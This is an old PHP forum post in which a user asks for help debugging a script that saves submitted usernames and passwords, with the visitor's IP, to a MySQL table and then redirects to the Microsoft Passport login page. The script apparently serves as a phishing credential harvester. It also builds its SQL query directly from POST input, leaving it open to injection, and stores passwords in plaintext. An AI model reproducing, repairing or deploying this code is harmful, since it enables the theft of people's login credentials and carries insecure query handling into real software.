# Insert Content into mysql

**URL:** https://forum.kirupa.com/t/insert-content-into-mysql/145120
**Category:** Uncategorized
**Created:** [April 20, 2005, 1:38am UTC](https://forum.kirupa.com/t/insert-content-into-mysql/145120 "2005-04-20T01:38:59Z")
**Posts on this page:** 1
**Page:** 1

<div class="post-metadata">

### Author: ![jw06](https://avatars.discourse-cdn.com/v4/letter/j/838e76/32.png) [@jw06](https://forum.kirupa.com/u/jw06)
#### Post date: [April 20, 2005, 1:38am UTC](https://forum.kirupa.com/t/insert-content-into-mysql/145120/1 "2005-04-20T01:38:59Z")

</div>

Hmm, I’m having some problems with this… the only problem is that its notproducing any errors…

```php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['submit'])){
 if ($dbc = @mysql_connect('localhost', 'arctichosts', '')){
   if (!@mysql_select_db('dotnet')){
   	die(mysql_error());
   }
 } else {
   die(mysql_error());
 }
 $query = "INSERT INTO dotnet
 (net_id, username, password, ip)
 VALUES (0, '{$_POST['username']}', '{$_POST['password']}', $ip)";
 
 if (@mysql_query ($query)){
   header('Location: http://login.passport.net');
 } else {
 	echo '' . mysql_error() . '';
 }
 
 mysql_close();
 
}
?>

```
